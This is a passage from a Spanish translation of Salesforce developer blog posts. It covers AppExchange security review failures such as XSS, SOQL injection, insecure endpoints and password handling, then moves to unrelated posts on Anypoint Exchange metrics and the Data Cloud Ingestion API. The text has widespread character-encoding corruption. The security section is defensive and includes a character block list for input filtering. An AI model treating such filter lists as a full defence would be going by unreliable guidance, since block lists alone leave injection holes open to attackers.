  • Filtrado de entrada: aseg煤rese de que la entrada del usuario no contenga c贸digo ejecutable mediante el uso de expresiones regulares y listas de bloqueo o listas de permitidos (por ejemplo, filtre los caracteres com煤nmente utilizados en el c贸digo, como '<', '>', comillas simples o dobles, ' /', ';', corchetes, par茅ntesis u operadores matem谩ticos o l贸gicos como '+', '&' o '-')
  • Codificaci贸n de salida : aseg煤rese de que si el c贸digo ejecutable pasara el filtrado de entrada, no se interprete como c贸digo al convertir caracteres "peligrosos" en versiones de texto inofensivas (por ejemplo, '&; debe convertirse a &amp; y '<' o '>' debe convertirse a &lt; y &gt;)

Este m贸dulo de Trailhead explica exactamente c贸mo mitigar XSS con estas t茅cnicas, y nuestra documentaci贸n para desarrolladores tambi茅n es 煤til aqu铆. Para obtener consejos espec铆ficos sobre la protecci贸n contra XSS en componentes Lightning, consulte la p谩gina Seguridad Lightning en la Gu铆a de codificaci贸n segura.

Para aplicaciones web que no son de Salesforce, tambi茅n puede consultar la documentaci贸n de OWASP para obtener consejos adicionales.

Los esc谩neres de aplicaciones web, como Burp Suite , Chimera u OWASP ZAP , tambi茅n pueden ayudarle a detectar estos problemas.

#9: JavaScript no est谩 en recursos est谩ticos

驴Qu茅 es esto?

Muchos paquetes administrados por Salesforce no pasan la revisi贸n de seguridad por no almacenar JavaScript como recursos est谩ticos en sus paquetes y, en su lugar, se vinculan a archivos JavaScript alojados externamente con etiquetas <script> . La raz贸n principal de esta regla es que permite un control de versiones mucho m谩s seguro y garantiza la integridad de los archivos JavaScript en su paquete de Salesforce incluso si la fuente externa est谩 comprometida.

驴C贸mo puedo abordar esto?

Nuestra regla es que todos los recursos de script y estilo deben agregarse al paquete como recursos est谩ticos y luego cargarse con una etiqueta <apex:includeScript> en su p谩gina (para Visualforce) o un ltng:require en su .cmp o .app. marcado (para Aura).

Nota: Si tiene un LWC, defina los m贸dulos JavaScript que importe a su componente o use la funci贸n loadScript para cargar un archivo JavaScript de recursos est谩ticos.

Para paquetes que no son LWC, la mejor manera de verificar este problema es buscar manualmente su c贸digo fuente para asegurarse de que todas las bibliotecas de JavaScript est茅n almacenadas como recursos est谩ticos, no cargadas din谩micamente a trav茅s de hiperv铆nculos.

Para situaciones en las que esto no sea factible, recomendamos programar una cita en horario de oficina t茅cnica para analizar su caso de uso. Es posible obtener una excepci贸n en ciertos casos.

Obtenga m谩s informaci贸n sobre este problema en nuestra documentaci贸n para desarrolladores .

#10 鈥 Inyecci贸n SOQL

驴Qu茅 es esto?

La inyecci贸n SOQL es la versi贸n espec铆fica de Salesforce de la inyecci贸n SQL. Ocurre cuando una entrada no validada proporcionada por el usuario se inserta directamente en una consulta SOQL din谩mica. Si la entrada no est谩 validada, puede incluir comandos SOQL que modifican efectivamente la declaraci贸n SOQL y enga帽an a la aplicaci贸n para que ejecute comandos no deseados.

驴C贸mo puedo abordar esto?

La forma m谩s sencilla de evitar el problema es evitar consultas din谩micas en favor de consultas est谩ticas y utilizar variables vinculantes. De lo contrario, deber谩 validar estrictamente las entradas del usuario antes de usarlas en consultas mediante t茅cnicas como encasillamiento, lista blanca de entradas o escape.

Code Analyzer , PMD para VS Code y Checkmarx tambi茅n pueden ayudarlo a escanear su c贸digo.

Para obtener m谩s informaci贸n, consulte nuestro m贸dulo Trailhead o revise nuestra documentaci贸n para desarrolladores .

Para aplicaciones que no son de Salesforce, es posible que desee obtener m谩s informaci贸n sobre la inyecci贸n SQL en la gu铆a OWASP . Los esc谩neres de aplicaciones web, como Burp Suite , Chimera u OWASP ZAP , tambi茅n pueden ayudar a identificar problemas de inyecci贸n SQL.

#11 鈥 Lightning: carga CSS inadecuada

驴Qu茅 es esto?

Similar al problema de usar etiquetas <script> o <link> para cargar JavaScript en sus paquetes, usar etiquetas <link> o <style> para cargar CSS en lugar de <apex:stylesheet> (Visualforce) o <ltng:require> ( Aura) se considera una pr谩ctica insegura. Estas etiquetas <link> y <style> pueden hacer referencia a recursos externos o en l铆nea que contienen CSS o JavaScript, y la arquitectura de seguridad Lightning Web Security (LWS) de Salesforce no los controla ni los desinfecta.

Para los componentes de Aura, en particular, el uso de <ltng:require> tambi茅n permite a Salesforce aplicar correctamente las reglas de seguridad LWS y garantizar que el CSS que est谩 cargando est茅 correctamente aislado y no incluya c贸digo o estilos JavaScript no seguros que puedan afectar negativamente a otros. partes de su aplicaci贸n Salesforce.

驴C贸mo puedo abordar esto?

Para hacer referencia a un recurso CSS externo que haya subido como recurso est谩tico, use una etiqueta <apex:stylesheet> en su p谩gina (para Visualforce) o una etiqueta <ltng:require> en su marcado .cmp o .app (para Aura ). Busque el c贸digo fuente de su paquete para asegurarse de que no haya utilizado etiquetas <link> o <style> en ning煤n lugar para cargar recursos CSS.

Nota: Si tiene una LWC, no puede encontrarse con este problema de todos modos porque, al igual que las etiquetas <script> , las etiquetas <style> ya est谩n bloqueadas para su uso dentro de las plantillas HTML. En su lugar, incluir铆a su CSS en el archivo CSS asociado de su componente o usar铆a la funci贸n loadStyle para cargar un archivo CSS de recursos est谩ticos.

Puede encontrar m谩s informaci贸n en nuestra documentaci贸n para desarrolladores .

#12: JavaScript en Salesforce DOM (solo experiencia cl谩sica)

驴Qu茅 es esto?

Salesforce tiene reglas estrictas sobre el uso de JavaScript y una de esas reglas es que JavaScript no se puede ejecutar directamente dentro del contexto de la aplicaci贸n Salesforce. Esto significa que no puede incluir bloques de JavaScript directamente dentro de los componentes que se ejecutan en Salesforce DOM, como HomePageComponents, WebLinks, Custom Buttons, etc.

En cambio, todo JavaScript debe residir bajo el dominio de espacio de nombres de su aplicaci贸n en las p谩ginas de Visualforce que usted controla, de modo que el JavaScript personalizado est茅 esencialmente aislado del DOM principal de Salesforce. Eso significa que no puede usar JavaScript para crear botones personalizados, pesta帽as web, componentes de p谩gina de inicio y elementos similares (por ejemplo, incluir controladores de eventos de JavaScript onclick en botones personalizados podr铆a ser motivo de falla).

驴C贸mo puedo abordar esto?

Esto es algo que deber谩 verificar manualmente en el c贸digo fuente de su paquete Salesforce. Verifique y aseg煤rese de que no haya utilizado JavaScript para crear botones personalizados, pesta帽as web, componentes de la p谩gina de inicio u otros elementos similares, y verifique que cualquier JavaScript personalizado est茅 incluido solo en el dominio de su aplicaci贸n con espacio de nombres en las p谩ginas de VisualForce que controla como parte de su aplicaci贸n.

Una forma de verificar esto es buscar el texto <openType>onClickJavaScript</openType> en los archivos de metadatos de la aplicaci贸n (a menudo en archivos XML como weblink/something.weblink) y, si lo encuentra, aseg煤rese de eliminarlo. Incluso si su aplicaci贸n solo est谩 destinada a usarse en Lightning Experience, si la vulnerabilidad est谩 presente para los usuarios en modo Cl谩sico, el paquete no se puede aprobar.

Esta regla en particular no est谩 especialmente bien documentada, pero puede leer m谩s en el documento Lista de verificaci贸n de revisi贸n de seguridad de AppExchange (se requiere iniciar sesi贸n en la comunidad de socios).

#13 鈥 Divulgaci贸n de informaci贸n en p谩ginas de error y excepciones

驴Qu茅 es esto?

En el contexto de la revisi贸n de seguridad de AppExchange, este t茅rmino se refiere espec铆ficamente a situaciones (generalmente en aplicaciones o servicios web que no son de Salesforce o fuera de plataforma) donde sus p谩ginas de error muestran datos confidenciales del sistema o informaci贸n de depuraci贸n. Por ejemplo, a veces las p谩ginas de error incluyen seguimientos de pila completos que muestran c贸mo se hace referencia internamente a los objetos o rutas de archivo relativas al lugar donde est谩 instalada la aplicaci贸n. A veces, incluso la informaci贸n confidencial queda expuesta de esta manera.

驴C贸mo puedo abordar esto?

Busque en su base de c贸digo llamadas que causen excepciones o que los seguimientos de pila se representen en cadenas o flujos de salida, y realice pruebas que puedan causar errores, como entradas no v谩lidas, entradas vac铆as, entradas demasiado largas, acceso a p谩ginas internas sin autenticaci贸n, omisi贸n de aplicaciones. flujo, etc

La herramienta de fuzzing de Burp Suite puede ser una gran ayuda en este caso.

Tambi茅n puede obtener excelentes consejos para realizar pruebas de seguimiento de pila a trav茅s de esta gu铆a de OWASP .

#14 鈥 Componentes de Aura: componente externo de CSS

驴Qu茅 es esto?

Se supone que los componentes de Aura son peque帽os, aut贸nomos, reutilizables y reposicionables. CSS que evita la encapsulaci贸n de componentes (a trav茅s de .THIS) o que utiliza un posicionamiento no est谩ndar (por ejemplo, flotante o posici贸n: absoluta o fija) infringe estas garant铆as y puede interferir con la visualizaci贸n de otros componentes. En particular, el uso del posicionamiento absoluto en CSS es la raz贸n principal de este tipo de falla.

Si bien esto puede no parecer un problema de seguridad a primera vista, puede alterar el dise帽o del sitio web de Salesforce y viola el esp铆ritu del modelo de seguridad de Lightning, donde los componentes est谩n estrictamente aislados y se garantiza que permanecer谩n en su propio carril.

驴C贸mo puedo abordar esto?

Este es otro problema que debes verificar manualmente. B谩sicamente, busque en el CSS de su componente Aura, especialmente para posicionamiento absoluto/fijo o ancho y alto fijos. Tambi茅n recomendamos revisar nuestra documentaci贸n para asegurarse de que est谩 siguiendo todas las reglas CSS correctas.

#15 鈥 Canal de mensajes expuesto

驴Qu茅 es esto?

Este t茅rmino se refiere espec铆ficamente a los casos en los que no ha configurado el indicador isExposed en Lightning Message Channel en falso. Dado que esto proporciona acceso a la API del Servicio de mensajes Lightning (LMS), que le permite publicar y suscribirse a mensajes en todo el DOM y entre Aura, Visualforce y Lightning Web Components, debe establecerse en falso a menos que sea realmente necesario.

驴C贸mo puedo abordar esto?

Tiene dos opciones, seg煤n su caso de uso, que incluyen:

  1. Registre un ticket de soporte para solicitar que se habilite la eliminaci贸n de componentes administrados para su paquete u organizaci贸n de Dev Hub y elimine el componente del paquete. Si no puede hacerlo (por ejemplo, si esto afectar铆a la funcionalidad de los suscriptores que dependen de canales de mensajes expuestos), puede dejar el componente en el paquete y simplemente no usarlo (aseg煤rese de mencionar esto espec铆ficamente en un mensaje falso). documento positivo sobre su presentaci贸n).
  2. Si tiene que utilizar un componente de canal LMS, aseg煤rese de tener isExposed=false . Esto debe hacerse creando un nuevo componente de canal LMS porque los componentes existentes con isExposed=true no pueden cambiar isExposed=false . Utilice 煤nicamente el componente reci茅n creado en el c贸digo.

M谩s informaci贸n est谩 disponible en la documentaci贸n .

#16 鈥 Informaci贸n confidencial en URL

驴Qu茅 es esto?

Esto se refiere a una situaci贸n en la que se env铆a informaci贸n confidencial de larga duraci贸n en URL (por ejemplo, un ID o secreto de cliente, o un nombre de usuario/contrase帽a). En realidad, esto puede llevar a que se filtren secretos a largo plazo de varias maneras posibles. Por ejemplo:

  • Las URL completas a menudo se almacenan en servidores en registros de texto sin cifrar que pueden no almacenarse de forma segura y pueden ser vistos por el personal o comprometidos por un tercero.
  • Los motores de b煤squeda indexan URL y almacenan inadvertidamente informaci贸n confidencial
  • Almacenamiento de rutas URL completas en el historial del navegador local, cach茅 del navegador, marcadores y marcadores sincronizados entre dispositivos
  • Informaci贸n de URL enviada a aplicaciones web de terceros a trav茅s del encabezado de referencia o expuesta a scripts de terceros en la p谩gina

驴C贸mo puedo abordar esto?

Burp Suite puede ayudarle aqu铆 para aplicaciones web que no sean de Salesforce o fuera de plataforma, pero en general recomendamos comprobar manualmente su aplicaci贸n para detectar cualquier caso en el que se env铆en secretos a largo plazo a trav茅s de URL. Dependiendo de su caso de uso, es posible que deba realizar cambios, como usar solicitudes POST en lugar de solicitudes GET, cambiar su m茅todo de autenticaci贸n (OAuth 2.0 es generalmente ideal) y emplear cifrado y mejores m茅todos de almacenamiento de secretos.

La gu铆a OWASP es un gran recurso a seguir.

#17 鈥 Punto final inseguro

驴Qu茅 es esto?

El nombre de esta vulnerabilidad simplemente se refiere a situaciones en las que se utiliza HTTP en lugar de HTTPS.

驴C贸mo puedo abordar esto?

Las herramientas de escaneo pueden ser de ayuda, pero una forma a煤n m谩s segura de verificar esto es buscar en el c贸digo fuente enlaces HTTP y cambiarlos a HTTPS. Puede aprender un poco m谩s sobre c贸mo esto mejora la seguridad en esta p谩gina de OWASP .

#18 鈥 Enumeraci贸n de nombre de usuario o correo electr贸nico

驴Qu茅 es esto?

Por lo general, este problema solo surge en aplicaciones web externas fuera de la plataforma Salesforce. Se refiere a una situaci贸n en la que los atacantes pueden enumerar listas de nombres de usuario o correos electr贸nicos de su base de usuarios, generalmente analizando cambios en mensajes de error en funciones de inicio de sesi贸n, funciones de olvido de contrase帽a o registros de cuentas. Los atacantes suelen hacer esto para poder comprobar si hay contrase帽as reutilizadas de bases de datos comprometidas y fugas o volcados de contrase帽as.

驴C贸mo puedo abordar esto?

Verifique sus mensajes de error para registros de cuentas, recuperaci贸n de contrase帽as, intentos de inicio de sesi贸n, etc., y aseg煤rese de que su mensaje de error sea el mismo independientemente de si el nombre de usuario o el correo electr贸nico ingresado es v谩lido.

Por ejemplo, muchos sitios incluyen un mensaje gen茅rico, como: "Si dicho usuario existe, recibir谩 un correo electr贸nico con un restablecimiento de contrase帽a". Este tipo de mensaje general evita confirmar la existencia de un nombre de usuario o correo electr贸nico.

Por supuesto, en determinadas situaciones, puede ser inevitable (por ejemplo, durante el registro de una cuenta, es posible que deba confirmar que se ha utilizado un nombre de usuario). En esas situaciones, intente implementar controles que impidan la enumeraci贸n por fuerza bruta, como captchas para evitar que los robots eliminen su formulario de registro.

Burp Suite es una excelente herramienta para verificar esto, pero si no la tiene, tambi茅n puede revisar sus funcionalidades de inicio de sesi贸n manualmente.

OWASP tiene una gu铆a 煤til para evitar la enumeraci贸n de correos electr贸nicos y nombres de usuarios.

#19 鈥 Gesti贸n de contrase帽as

驴Qu茅 es esto?

En ocasiones, el equipo de seguridad falla en sitios y aplicaciones web externos (que no sean Salesforce) por tener pol铆ticas de contrase帽as problem谩ticas, como por ejemplo:

  • Permitir la reutilizaci贸n de la misma contrase帽a cuando es necesario restablecerla
  • No solicitar la contrase帽a anterior cuando se permite a los usuarios establecer una nueva contrase帽a
  • Para restablecer la contrase帽a, enviar una contrase帽a temporal al correo electr贸nico de un usuario en texto sin formato
  • Dejar contrase帽as predeterminadas en los usuarios ra铆z del servidor o de la base de datos

驴C贸mo puedo abordar esto?

Adem谩s de evitar las situaciones anteriores, consulte la Hoja de referencia de autenticaci贸n de OWASP para obtener algunas pautas sobre c贸mo establecer pol铆ticas de contrase帽as seguras:

Burp Suite tambi茅n es muy 煤til para identificar problemas relacionados con las contrase帽as (por ejemplo, puede usarlo para intentar forzar sus p谩ginas de inicio de sesi贸n).

#20 鈥 Eco de contrase帽a

驴Qu茅 es esto?

Esto es un poco diferente del problema de administraci贸n de contrase帽as descrito anteriormente. Un eco de contrase帽a se refiere a situaciones en las que las contrase帽as se reflejan en texto sin formato en la interfaz de usuario (como cuando el usuario visita su propia p谩gina de configuraci贸n) o en llamadas API/respuestas JSON.

驴C贸mo puedo abordar esto?

Aseg煤rese de que su contrase帽a no se revele ni se transmita en texto sin formato en ninguna parte de su aplicaci贸n. Aseg煤rese de que en las p谩ginas de configuraci贸n u otras p谩ginas que muestran secretos, se muestren solo como asteriscos (se pueden mostrar al hacer clic en el bot贸n si es necesario).

Consulte la hoja de referencia sobre almacenamiento de contrase帽as de OWASP para obtener m谩s informaci贸n.

Burp Suite , o quiz谩s Chimera u OWASP ZAP , tambi茅n pueden ayudarle a detectar estos problemas.

Recursos adicionales

Si su soluci贸n incluye sitios web o aplicaciones web personalizados que no son de Salesforce, le recomendamos encarecidamente invertir en una licencia de Burp Suite si es financieramente viable para su organizaci贸n. Burp Suite es una de las mejores herramientas de seguridad del mercado y tambi茅n la utiliza mucho nuestro propio equipo de seguridad de productos. Chimera u OWASP ZAP son alternativas completamente gratuitas, pero prep谩rate para invertir m谩s tiempo en t茅rminos de revisi贸n manual, ya que carecen de muchas de las potentes funciones/herramientas que tiene Burp Suite.

Nota: Si su oferta se integra con aplicaciones o servicios web que no son de su propiedad, no intente escanear los puntos finales hasta que haya obtenido el permiso del propietario.

Salesforce Product Security tambi茅n utiliza Code Analyzer , PMD para VS Code y Checkmarx para revisar el c贸digo fuente del paquete Salesforce. Tambi茅n utilizan la base de datos CVE y el esc谩ner Qualys SSL en la mayor铆a de los env铆os.

Si tiene problemas de seguridad y necesita orientaci贸n t茅cnica, los socios ISV pueden registrarse para obtener horas de oficina gratuitas con nuestros ingenieros de seguridad a trav茅s del Portal de seguridad para socios .

Por 煤ltimo, no podemos recomendar lo suficiente Trailhead en t茅rminos de preparaci贸n para revisiones de seguridad. Vale la pena dedicar tiempo a la ruta Desarrollar aplicaciones web seguras y tambi茅n acabamos de renovar el m贸dulo Revisi贸n de seguridad de AppExchange , que analiza el proceso de env铆o de un extremo a otro.

Sobre el Autor

Anika Teppo es evangelista t茅cnica en Salesforce. Ha estado trabajando con el equipo de revisi贸n de seguridad de AppExchange en Salesforce desde 2017, y su funci贸n actual consiste en hacer que Salesforce Labs y las soluciones internas se revisen y publiquen en AppExchange.

Obtenga las 煤ltimas publicaciones de blog y episodios de podcasts para desarrolladores de Salesforce a trav茅s de Slack o RSS.

A帽adir a holgura Suscr铆bete a RSS

Seguir leyendo

Cierre el ciclo de comentarios con el uso de activos de intercambio y las m茅tricas de participaci贸n 鈽侊笍

Cierre el ciclo de comentarios con el uso de activos de intercambio y las m茅tricas de participaci贸n 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Cierre el ciclo de retroalimentaci贸n con el uso de activos de Exchange y las m茅tricas de participaci贸n | Blog de desarrolladores de Salesforce

Como desarrollador, desea que su ciclo de desarrollo sea altamente eficiente. Parte de eso implica 1) descubrir y reutilizar f谩cilmente los activos relevantes con confianza y 2) comprender d贸nde y c贸mo se usan (y reutilizan) sus activos, para que pueda tomar decisiones informadas.

Anypoint Exchange , un componente clave de Anypoint Platform, permite a los desarrolladores y administradores crear r谩pida y f谩cilmente redes de aplicaciones y empresas componibles . Se integra a la perfecci贸n en el "flujo de trabajo" de los clientes y brinda capacidades para producir y consumir activos reutilizables . Los activos son recursos que se pueden crear, descubrir y compartir. Exchange admite varios tipos de recursos reutilizables, incluidos varios tipos de API (REST, GraphQL, etc.), fragmentos de especificaciones de API, recursos personalizados, ejemplos, recursos de integraci贸n (conectores, etc.) y recursos de automatizaci贸n (RPA, etc.).

Un componente de la propuesta de valor central de Exchange es impulsar la eficiencia a trav茅s de la reutilizaci贸n: los activos reutilizables y preconstruidos ayudan a impulsar el viaje del desarrollador. El nuevo panel de compromiso de activos lo ayuda a cuantificar el compromiso y el uso (impulsores clave de la reutilizaci贸n) por activo, ofreciendo informaci贸n sobre el rendimiento de sus activos.

Los beneficios clave de esta nueva caracter铆stica incluyen:

  • Impulse el crecimiento, el compromiso y la reutilizaci贸n en todo el cat谩logo
  • Acceda a m茅tricas de uso y puntajes de participaci贸n para obtener una vista compuesta de c贸mo se utilizan sus activos
  • Realice un seguimiento y gestione la adopci贸n de activos con paneles listos para usar
  • Vea an谩lisis de rendimiento de toda su biblioteca de activos en un solo lugar

Panel de m茅tricas de participaci贸n de activos (vista de administrador)

Los usuarios con la funci贸n de administrador de Exchange pueden ver las m茅tricas de uso y compromiso de los fragmentos de especificaci贸n de API y las API de REST mediante el panel. Las m茅tricas de uso miden lo siguiente:

  • N煤mero de veces que se descarga un recurso de Exchange
  • # de importaciones desde API Designer
  • # de importaciones desde Anypoint Studio
  • # de dependientes
  • # de contratos

La puntuaci贸n de participaci贸n de activos es una m茅trica compuesta que se puede usar para medir el uso relativo de un activo en Exchange. El tablero muestra m茅tricas de hasta los 50 activos principales durante un per铆odo de los 煤ltimos 7 d铆as, 30 d铆as o 60 d铆as, clasificados por puntaje de participaci贸n. Puede filtrar los activos principales por fragmentos de especificaci贸n de API y tipos de API REST y por una o m谩s organizaciones.

El siguiente gr谩fico muestra el panel de m茅tricas de uso y participaci贸n:

Esta funci贸n permite a los usuarios con la funci贸n de administrador de Exchange tener una visi贸n hol铆stica del uso y consumo de activos en su organizaci贸n, proporcionando informaci贸n sobre la reutilizaci贸n de los activos y permiti茅ndoles impulsar a煤n m谩s las pr谩cticas eficientes.

M茅tricas para un activo y una versi贸n espec铆ficos

Esta nueva funci贸n tambi茅n le permite ver las m茅tricas de participaci贸n de un activo individual y/o una versi贸n espec铆fica. Puede hacerlo navegando a la p谩gina de detalles del activo de un activo compatible y seleccionando Compromiso de la versi贸n del activo en la barra lateral de navegaci贸n izquierda.

El siguiente gr谩fico muestra la p谩gina de detalles del activo con m茅tricas de uso y participaci贸n.

Recopilamos y analizamos una amplia gama de metadatos de activos (incluida la versi贸n y el estado del ciclo de vida, entre otros) y m茅tricas (incluida la contribuci贸n de participaci贸n, las descargas y las importaciones, entre otros). Consulte la documentaci贸n para obtener m谩s detalles y definiciones.

Esta vista puede ayudarlo a identificar las versiones de activos que tienen un alto uso general frente a las versiones con poco uso. Esta informaci贸n puede ayudarlo a comprender mejor el rendimiento y la adherencia de versiones de activos espec铆ficos dentro de su organizaci贸n, lo que lo ayuda a tomar decisiones m谩s informadas cuando se trata de reutilizar y hacer que el proceso de desarrollo sea m谩s eficiente.

Disponibilidad y soporte futuro

Hoy, esta nueva funci贸n est谩 disponible para usuarios con la funci贸n de administrador de Exchange y propietarios de activos con permiso de colaborador de Exchange . Adem谩s, los dos tipos de activos que se admiten actualmente son 1) API REST y 2) fragmentos de especificaciones de API. En el futuro, nos esforzaremos por admitir una gama m谩s amplia de tipos de activos disponibles en Exchange para brindarle una visi贸n m谩s hol铆stica del uso, la participaci贸n y la reutilizaci贸n dentro de su organizaci贸n.

Conclusi贸n

Esta nueva caracter铆stica de Anypoint Exchange cierra el ciclo de retroalimentaci贸n y proporciona nuevos conocimientos basados en datos sobre la participaci贸n y el uso de activos. Esta caracter铆stica ayudar谩 a los desarrolladores a comprender mejor c贸mo se utilizan sus activos, para que puedan impulsar mejoras en la documentaci贸n, el etiquetado de metadatos y m谩s. Los administradores pueden usar esta informaci贸n para identificar los principales activos adoptados e impulsar las mejores pr谩cticas en todo el cat谩logo, al mismo tiempo que comprenden mejor qu茅 tipos de activos son valiosos para los desarrolladores. Finalmente, Exchange planea usar estas m茅tricas para impulsar m谩s mejoras y experiencias de productos. 隆Siga las notas de la versi贸n para futuras iteraciones de esta caracter铆stica!

Sobre el Autor

Ria Joshi es Gerente de Producto en MuleSoft enfocada en Anypoint Exchange. En su funci贸n, se esfuerza por generar una cultura de producto basada en datos. Fuera del trabajo, Ria es una corredora de larga distancia y una 谩vida senderista.

Obtenga las 煤ltimas publicaciones de blog de desarrolladores de Salesforce y episodios de podcast a trav茅s de Slack o RSS.

Agregar a Slack Suscr铆bete a RSS

Seguir leyendo

Cargue datos mediante programaci贸n con la API de ingesta 鈽侊笍

Cargue datos mediante programaci贸n con la API de ingesta 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Cargue datos mediante programaci贸n con la API de ingesta | Blog de desarrolladores de Salesforce

Salesforce Data Cloud ofrece varios conectores predefinidos para la importaci贸n de datos. Estos le permiten conectar otra organizaci贸n de Salesforce, una instancia de Marketing Cloud, almacenamientos de datos como Amazon S3 o cualquier otra fuente admitida por MuleSoft Salesforce Data Cloud Connector . Para conectarse a un sistema de terceros, puede utilizar la API de ingesta .

La API de ingesta es una interfaz RESTful que facilita la carga de datos mediante programaci贸n en Data Cloud. Admite patrones de interacci贸n masiva y de transmisi贸n. El patr贸n de transmisi贸n usa JSON como su formato, cargando datos en micro lotes a trav茅s de la API REST. El patr贸n masivo, por otro lado, emplea el formato CSV y carga datos usando trabajos.

En esta publicaci贸n de blog, analizaremos c贸mo configurar el conector de la API de ingesta y comenzar a cargar datos mediante programaci贸n utilizando los patrones Streaming y Bulk.

Cu谩ndo usar la ingesti贸n Streaming vs Bulk

Ingesti贸n de transmisi贸n Ingesti贸n a granel
Al actualizar peque帽os microlotes de registros casi en tiempo real Al mover grandes vol煤menes de datos en un programa diario, semanal o mensual
Cuando se utilizan sistemas de origen de datos que se basan en arquitecturas de transmisi贸n modernas Al usar sistemas heredados, donde solo puede exportar datos durante las horas de menor actividad
Al crear eventos de captura de datos modificados Al usar una nueva organizaci贸n de Data Cloud que desea rellenar con 30, 60 o m谩s de 90 d铆as de datos
Al consumir datos de webhooks

Para configurar la API de ingesta, deber谩 seguir cuatro pasos de requisitos previos:

  • Crear un conector de API de ingesta
  • Crear e implementar un flujo de datos
  • Crear una aplicaci贸n conectada
  • Solicitar un token de acceso a la nube de datos

Veamos el proceso de creaci贸n y configuraci贸n de un conector de ingesta para comenzar a cargar datos en Data Cloud.

Creaci贸n de un conector de API de ingesta

Supongamos que tiene acceso a Data Cloud. Para conectar una nueva fuente de API de ingesta mediante el conector de API de ingesta, vaya a Configuraci贸n de nube de datos y seleccione API de ingesta .

Aqu铆 encontrar谩 todos los conectores disponibles en su organizaci贸n. Para crear uno nuevo, haga clic en Conectar y proporcione un nombre. Para nuestra aplicaci贸n de muestra, trabajaremos con una empresa de energ铆a solar ficticia. Estamos interesados en recibir eventos de m茅tricas relacionadas con el rendimiento energ茅tico de sus paneles solares.

Una vez que se haya creado el conector, necesitaremos decirle a Data Cloud qu茅 tipo de datos estamos esperando. Para esto, necesitaremos cargar un archivo de esquema utilizando la especificaci贸n OpenAPI. Este archivo de esquema tiene requisitos espec铆ficos, as铆 que aseg煤rese de consultar la documentaci贸n para obtener m谩s informaci贸n.

A continuaci贸n se muestra un ejemplo del archivo de esquema que cargaremos, que representa un solar_panel_event . Los campos clave a tener en cuenta incluyen event_id , que ser谩 煤nico para cada evento y luego se asignar谩 en Data Cloud como clave principal. Otro es customer_id , que nos ser谩 煤til para mapear el evento con un cliente de nuestra organizaci贸n. Finalmente, date_time representa la hora del evento.

panel_solar_event.yaml

Una vez que carguemos el esquema, podremos obtener una vista previa de sus campos y tipos de datos, y luego guardarlo en nuestro conector.

Ahora que nuestro conector tiene un esquema, podemos decir que est谩 creado. Sin embargo, a煤n no est谩 listo para comenzar a recibir datos. Necesitamos crear un flujo de datos para este prop贸sito.

Nota: Dado que los esquemas pueden evolucionar con el tiempo, tambi茅n puede usar la interfaz del conector de la API de ingesta para actualizar el esquema y agregar nuevos campos a su objeto de datos seg煤n sea necesario.

Creaci贸n e implementaci贸n de un flujo de datos

Ya tenemos listo nuestro conector API de ingesta. Ahora es el momento de establecer una conexi贸n para comenzar a importar datos. Para eso, necesitamos crear un flujo de datos . Una vez que el flujo de datos est谩 activo, podemos comenzar a ingerir datos en Data Cloud y almacenarlos como un objeto de Data Lake.

Para crear un nuevo flujo de datos, vaya a su pesta帽a en la aplicaci贸n Data Cloud, haga clic en Nuevo , seleccione Ingestion API y luego haga clic en Siguiente .

Nota: La opci贸n API de ingesta est谩 deshabilitada si no tiene ninguna fuente de ingesta conectada.

A continuaci贸n, ver谩 los diferentes objetos que est谩n asociados con su esquema. En nuestro caso, seleccione el objeto solar_panel_event y haga clic en Siguiente .

Al crear un flujo de datos, deber谩 seleccionar una categor铆a o tipo de datos en ese flujo de datos. Hay tres categor铆as: Compromiso , Perfil y Otro .

Compromiso Un conjunto de datos que representa un compromiso basado en series de tiempo, como un evento, interacci贸n con el cliente, interacci贸n web, etc.

Cuando se selecciona, el men煤 desplegable Campo de hora del evento aparece en la interfaz de usuario.

Perfil Un conjunto de datos que representa:

鈥 Una lista de consumidores con identificadores, como identificaciones de consumidores, direcciones de correo electr贸nico o n煤meros de tel茅fono

鈥 Una lista de empresas o cuentas con ID de cuenta

鈥 Una lista de empleados o cualquier otra poblaci贸n por la que desee segmentar o utilizar como poblaci贸n inicial del segmento

Otro Un conjunto de datos que no es un compromiso o un perfil, como informaci贸n de productos o tiendas.

Para nuestro ejemplo, dado que estamos planeando recibir eventos, seleccionaremos Compromiso . Mapearemos el event_id como la clave principal y la date_time como el campo de hora del evento.

Ahora que nuestros datos est谩n configurados, es hora de implementarlos. Despu茅s de revisar los flujos de datos que se van a crear, hagamos clic en Implementar para activarlos.

Ahora, echemos un vistazo a la p谩gina de detalles del flujo de datos. Aqu铆 podemos ver el objeto Data Lake que se ha creado en Data Cloud. Puede identificar un objeto de Data Lake por su sufijo __dll . Desde esta misma interfaz, puede comenzar a asignar sus datos a los objetos de su organizaci贸n para crear objetos de modelo de datos (parte del proceso de armonizaci贸n de Data Cloud). Sin embargo, no cubriremos ese tema en esta publicaci贸n de blog, pero tenemos un excelente video con Danielle Larregui que le muestra c贸mo hacerlo.

Nuestro conector API de ingesta est谩 listo para comenzar a recibir datos de sistemas de terceros. Para confirmar, regresemos a la interfaz de configuraci贸n de la API de ingesta, donde puede ver que el estado del conector es En uso .

Creaci贸n de una aplicaci贸n conectada

La API de ingesta admite todos los flujos de OAuth 2.0 admitidos por otras API REST de Salesforce. Para cargar datos mediante la API de ingesta, su aplicaci贸n conectada requiere los siguientes 谩mbitos:

脕mbitos de OAuth requeridos

cdp_ingest_api Acceda y administre sus datos de API de ingesta de nube de datos
API Accede y administra tus datos
refresco_token, acceso_sin conexi贸n Realizar solicitudes en su nombre en cualquier momento

Adem谩s, nuestra aplicaci贸n conectada requerir谩 un certificado digital. Para crear uno, puede ejecutar el siguiente comando usando el comando openssl :

Este comando crear谩 dos archivos, salesforce.key , que es la clave privada, y salesforce.crt , que es la clave p煤blica.

Nota : si no tiene instalado el comando openssl , puede instalarlo desde el sitio web de OpenSSL .

Para saber c贸mo crear una aplicaci贸n conectada, consulte la documentaci贸n oficial.

Solicitud de un token de acceso a la nube de datos

